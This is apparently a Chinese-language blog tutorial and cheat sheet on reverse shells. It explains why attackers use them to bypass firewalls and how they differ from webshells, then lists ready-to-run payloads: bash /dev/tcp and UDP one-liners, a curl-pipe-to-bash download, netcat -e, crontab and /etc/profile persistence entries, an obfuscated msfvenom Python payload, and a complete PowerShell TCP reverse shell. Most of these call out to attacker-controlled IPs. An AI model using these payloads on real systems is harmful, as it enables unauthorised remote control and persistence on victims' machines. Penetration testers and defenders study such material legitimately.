总字符数: 9.55K

代码: 2.67K, 文本: 4.12K

预计阅读时间: 30 分钟

什么是反弹 shell

反向 shell(reverse shell)是一种网络攻击技术,其中攻击者通过在目标系统上植入恶意代码或利用漏洞,将受害者的计算机与攻击者的计算机建立起连接。在这种连接中,攻击者的计算机充当控制端,而受害者的计算机被控制并成为被控端。

具体实现方式如下:攻击者创建一个监听器,通常绑定在攻击者的计算机上的特定端口上。然后,攻击者将植入恶意代码的文件发送给受害者,并诱使受害者执行该文件。一旦受害者执行了该文件,它会尝试与攻击者的计算机上的监听器建立连接。

当连接建立后,攻击者就能够远程控制受害者的计算机,并获取对其命令行界面的访问权限。攻击者可以通过控制端向被控端发送各类命令

反弹 shell 的主要原因是克服目标系统上的各种限制,包括防火墙、权限受限以及被占用的端口。通过反向 shell,攻击者能够建立一个从目标机器到攻击者机器的连接,并在这个连接上执行各种操作。

具体原因如下:

  1. 防火墙规则绕过: 如果目标机器处于防火墙保护之下,正向连接可能会受到阻碍。反向 shell 允许目标机器主动连接到攻击者的机器,绕过了一些防火墙规则。
  2. 权限受限: 在目标系统上,攻击者可能受到权限的限制,无法在目标系统上建立一个正向连接。通过反向 shell,攻击者可以让目标系统主动连接到攻击者控制的机器,从而绕过权限问题。
  3. 端口占用: 如果目标系统上的某个端口被占用,建立正向连接可能会面临困难。反向 shell 允许目标系统选择一个可用的端口并连接到攻击者的机器,避免了端口占用的问题。
  4. 动态 IP 地址: 如果目标系统的 IP 地址是动态变化的,使用反向 shell 可以更灵活地适应目标系统 IP 地址的变化。
  5. 维持持久性: 反向 shell 还可以帮助攻击者在目标系统上维持持久性,因为一旦建立连接,攻击者可以随时再次使用该连接,而无需重新建立。

总的来说,反向 shell 提供了一种灵活、绕过限制的方式,使攻击者能够在目标系统上执行各种操作,维护访问和控制目标系统。这也是为什么它在渗透测试和攻击中被广泛使用的原因。

假设目标机器的防火墙禁止从外部网络访问目标机器上的某个特定端口(例如端口号 8888)。攻击者想要通过该端口建立与目标机器的连接,但由于防火墙规则的限制,正向连接无法成功。

在这种情况下,攻击者可以使用反向 shell 来绕过防火墙规则。具体步骤如下:

  1. 创建监听器: 攻击者在自己的机器上使用工具(例如Netcat、Metasploit等)创建一个监听器,并将其绑定到一个允许的端口(例如端口号 9999)。
  2. 设置恶意代码: 攻击者将目标机器上的漏洞或恶意代码修改为尝试连接到攻击者机器的 IP 地址和监听器的端口号。这可以通过植入后门、利用漏洞等方式实现。
  3. 目标机器连接尝试: 当目标机器上的恶意代码执行时,它会尝试与攻击者机器上的监听器建立连接,连接的目标是攻击者的 IP 地址和监听器的端口号。
  4. 防火墙规则绕过: 由于监听器绑定在一个允许的端口上(例如端口号 9999),防火墙允许目标机器与攻击者机器建立连接,即使该连接是由目标机器主动发起的。
  5. 建立连接后的控制: 一旦连接建立成功,攻击者就能够通过反向 shell 控制目标机器,执行各种命令、查看文件等操作。

那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。在渗透测试过程中,得到 webshell 后一般我们会反弹 shell。

反弹Shell和Webshell的区别

反弹 shell 是一种攻击技术,通常用于渗透测试或黑客攻击中。它的基本原理是通过在目标系统上运行恶意代码,将系统的 shell(命令行界面)连接到攻击者控制的远程服务器上。

Webshell 是一种特殊类型的恶意代码,它被植入到受攻击的 Web 服务器上,以获得对服务器的控制权。与传统的反弹 shell 不同,Webshell 缺乏直接的交互性。即使攻击者成功地在目标服务器上部署了 Webshell,他们也无法直接通过 shell 连接来执行命令和获取系统权限。

因此,在某些情况下,攻击者可能会尝试通过反弹 shell 的方式来获取更高级的系统访问权限。这涉及到在目标系统上执行一些命令或利用漏洞,以便与攻击者的远程服务器建立一个交互式的 shell 连接。通过这种方式,攻击者可以更方便地执行各种操作,包括浏览文件系统、执行命令、窃取敏感数据等。

反弹 shell 大全

Bash 反弹 shell

1
2
3
4
# Alice
nc -lvvp 12345
# Bob
/bin/bash -c bash -i >& /dev/tcp/x.x.x.x/12345 0>&1

Bash 反弹 shell TCP

1
2
3
4
# Alice
nc -lvvp 4242
# Bob
sh -i >& /dev/tcp/127.0.0.1/4242 0>&1

Bash 反弹 shell UDP

1
2
3
4
# Alice
nc -u -lvvp 4242
# Bob
sh -i >& /dev/udp/127.0.0.1/4242 0>&1

以下是针对Bash反弹一句话进行了拆分说明:

命令 命令详解
bash -i 产生一个bash交互环境。
>& 将联合符号前面的内容与后面相结合,然后一起重定向给后者。
/dev/tcp/47.xxx.xxx.72/2333 Linux环境中所有的内容都是以文件的形式存在的,其实大家一看见这个内容就能明白,就是让目标主机与攻击机47.xxx.xxx.72的2333端口建立一个tcp连接。
0>&1 将标准输入与标准输出的内容相结合,然后重定向给前面标准输出的内容。

Bash反弹一句完整的解读过程就是:

Bash产生了一个交互环境和本地主机主动发起与攻击机2333端口建立的连接(即TCP 2333会话连接)相结合,然后在重定向个TCP 2333会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个Bash反弹环境。

Curl配合Bash反弹shell

这里操作也很简单,借助了Linux中的管道。

首先,在攻击者vps的web目录里面创建一个index.phpindex.html,内容如下:

1
2
3
4
5
6
7
8
9
10
11
# Alice
echo 'bash -i >& /dev/tcp/192.168.64.215/2333 0>&1' > index.html
# 临时起Web服务的三种方法
# python -m SimpleHTTPServer 8080
# python3 -m http.server 8080
# php -S 0.0.0.0:8080
# 监听
nc -lvvp 2333

# Bob
curl 192.168.64.215|bash

Curl 配合 Bash 反弹 shell 的方式在 CTF(Capture The Flag)题目中经常被使用。具体的命令是 curl IP|bash,其中的 IP 可以是任意格式,包括但不限于十进制、十六进制、八进制和二进制等。

NC 反弹 shell

Netcat 是一款简单的Unix工具,使用UDP和TCP协议。 它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。 使用它你可以轻易的建立任何连接。

目前,默认的各个linux发行版本已经自带了netcat工具包,但是可能由于处于安全考虑原生版本的netcat带有可以直接发布与反弹本地shell的功能参数 -e 都被阉割了,所以我们需要自己手动下载二进制安装包,安装的如下:

1
2
3
4
5
6
wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz --no-check-certificate
tar -xvzf netcat-0.7.1.tar.gz
cd tar -xvzf netcat-0.7.1.tar.gz
./configure
make && make install
make clean

安装完原生版本的 netcat 工具后,便有了netcat -e参数,我们就可以将本地bash反弹到攻击机上了。

1
2
3
4
5
# Alice
nc -lvvp 2333
# Bob
netcat 192.168.64.215 2333 -e /bin/bash
# nc <攻击机IP> <攻击机监听的端口> -e /bin/bash

Crontab 反弹 shell

在目标主机的定时任务文件中写入一个反弹 shell 脚本是一种常见的攻击技术,但前提是我们必须知道目标主机当前的用户名。这是因为我们的反弹 shell 命令需要写入到特定的路径中,例如 /var/spool/cron/[crontabs]/<username>

具体来说,在CentOS系列主机上,如果当前用户名为 root,我们需要将以下内容写入到 /var/spool/cron/root 文件中:

1
* * * * * /bin/bash -c 'bash -i >& /dev/tcp/攻击者IP/攻击者端口 0>&1'

而在Debian/Ubuntu系列主机上,如果当前用户名为 root,我们需要将以下内容写入到 /var/spool/cron/crontabs/root 文件中:

1
* * * * * /bin/bash -c 'bash -i >& /dev/tcp/攻击者IP/攻击者端口 0>&1'

这样,当定时任务执行时(在这个例子中是每分钟执行一次),反弹 shell 脚本就会被执行,从而与攻击者建立一个反向连接。

Profile反弹shell

当用户打开新的 bash 窗口时,/etc/profile 文件中的内容会被执行。

需要注意的是,对 /etc/profile 文件的修改需要进行管理员权限操作(例如使用 sudo 或以管理员身份登录)。

1
2
/bin/bash -i >& /dev/tcp/192.168.64.215/2333 0>&1 &
# 最后面那个&为的是防止管理员无法输入命令

当目标主机管理员远程连接该主机时,就会执行该命令,成功获得目标机的shell:

Metasploit反弹shell

Metasploit框架提供了强大的msfvenom工具,用于生成各种类型的一句话反弹shell。这个工具非常实用,特别适用于当我们忘记之前提到的反弹shell命令时。

要查找我们需要生成的各类反弹shell一句话payload,我们可以使用以下方法:

使用命令 msfvenom -l 结合关键字过滤(例如 cmd/unix/reverse),可以列出符合条件的各类反弹shell一句话payload,具体使用方法如下:

1
2
┌──(root㉿kali)-[/home/kali]
└─# msfvenom -l payloads | grep "cmd/unix/reverse"

以上命令将在所有可用的payload中筛选并列出符合关键字cmd/unix/reverse的项,这些项包含各种反弹shell一句话payload的生成参数和选项。

如上图所示,metasploit支持生成反弹shell一句话的类型非常丰富,大家可以依据渗透测试对象自行选择使用。比如,我们获取一个python反弹shell的一句话:

1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[/home/kali]
└─# msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=2333 -f raw
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 356 bytes
python -c "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNqNUMEKgzAM/RXpqYJUrYcdRg8yHIyxDaZ3mV1FmWuKqf+/FoXRmwlJSPLyHmT8GphthCA/ykZRgktnZpAK0TXg0mZHFwOgFSTnB5Y5z0mw9DSCF0URTFGszGwtdOvKc3u5V43XWwf143Rt6+ZZlbc4JGAStFbSUurl3YUXikMQIHsvhlNk/TgpDdStk2wHJt+B4SHGiP+LmHxNEyVpN+oUBxL/AAt8WAg=')[0])))"

┌──(root㉿kali)-[/home/kali]
└─# nc -lvvp 2333

将生成的python反弹shell的一句话在目标主机上执行即可

WIndows 反弹 shell

除了通用的语言反弹 shell 方法之外,对于Windows系统来说,使用PowerShell和VBScript(适用于2003及以下的系统)是非常重要的技能,因为它们提供了更强大和专门针对Windows环境的功能。

  1. PowerShell:PowerShell是一种命令行脚本语言和任务自动化框架,广泛用于管理和控制Windows系统。通过编写和执行PowerShell脚本,我们可以实现更高级、更复杂的操作和管理任务。在反弹 shell 的过程中,利用PowerShell可以获取目标系统的远程执行权限,并执行各种命令、访问系统资源等。
  2. VBScript:VBScript是Visual Basic Scripting Edition的简称,是一种Microsoft Windows操作系统中常用的脚本语言。与PowerShell类似,VBScript也可以用于执行各种系统管理和自动化任务。对于较旧的Windows系统(如2003及以下版本),VBScript是一种有效的反弹 shell 技术。
1
$LHOST = "192.168.64.215"; $LPORT = 6666; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()

反弹shell后获取模拟终端

其实,上面所讲的各种方法获取的 shell 都不是一个标准的虚拟终端环境,它们只是提供了一个标准输入。你会发现存在一个问题,即使我们获得了目标虚拟终端的控制权限,但通常会遇到以下几个交互性差和不稳定的问题:

  1. 缺乏交互性:获取的虚拟终端没有足够的交互功能。例如,我们无法为添加的账户设置密码或执行sudo等命令。
  2. 无法正常显示错误输出:标准的错误输出无法显示,这导致无法正确使用一些文本编辑器(如vim)等工具。
  3. 连接不稳定:获取的目标主机的虚拟终端使用非常不稳定,很容易断开连接,这使得持续使用和进行长时间操作变得困难。

解决上述问题的方法是使用Python的pty(pseudo terminal)标准库来获取一个标准的虚拟终端环境。通过在已经获取的shell中输入以下命令,我们可以模拟一个终端设备:

1
python -c "import pty;pty.spawn('/bin/bash')"

以上代码将调用pty.spawn()函数,并将/bin/bash作为参数传递给它,从而创建一个新的终端会话。

通过使用这个方法,我们可以获得一个更加交互性强、可执行sudo等命令以及正确显示错误输出的标准终端环境。

如何选择

使用 Webshell 还是反弹 shell 取决于攻击者的目标、网络环境以及攻击的具体情境。以下是一些考虑因素:

  1. Webshell:
    • 场景: Webshell 是一种通过 Web 应用程序获得对目标服务器控制权的方式。攻击者通常通过 Web 漏洞(如文件上传漏洞)植入 Webshell。
    • 特点: Webshell 是一段服务器端的脚本代码,可以在服务器上执行命令、上传/下载文件,以及与服务器进行交互。
    • 使用场景: 当攻击者已经通过 Web 漏洞获得了对 Web 服务器的访问权限时,可以使用 Webshell 进行进一步的渗透,查看敏感文件、执行命令等。
  2. 反弹 Shell:
    • 场景: 反弹 shell 是一种通过建立网络连接,使目标主机主动连接攻击者机器的方式,通常用于绕过网络防火墙、端口限制等情况。
    • 特点: 反弹 shell 具有灵活性,可以在攻击者机器上建立监听器,等待目标主机连接,从而实现远程控制。
    • 使用场景: 当攻击者需要在目标网络中执行命令、进行侦察或维持访问时,反弹 shell 是一种有效的选择。

选择使用 Webshell 还是反弹 shell 取决于攻击者的目标和手段。在渗透测试和红队行动中,攻击者可能会根据情况组合使用这两种技术,以实现更全面的攻击目标。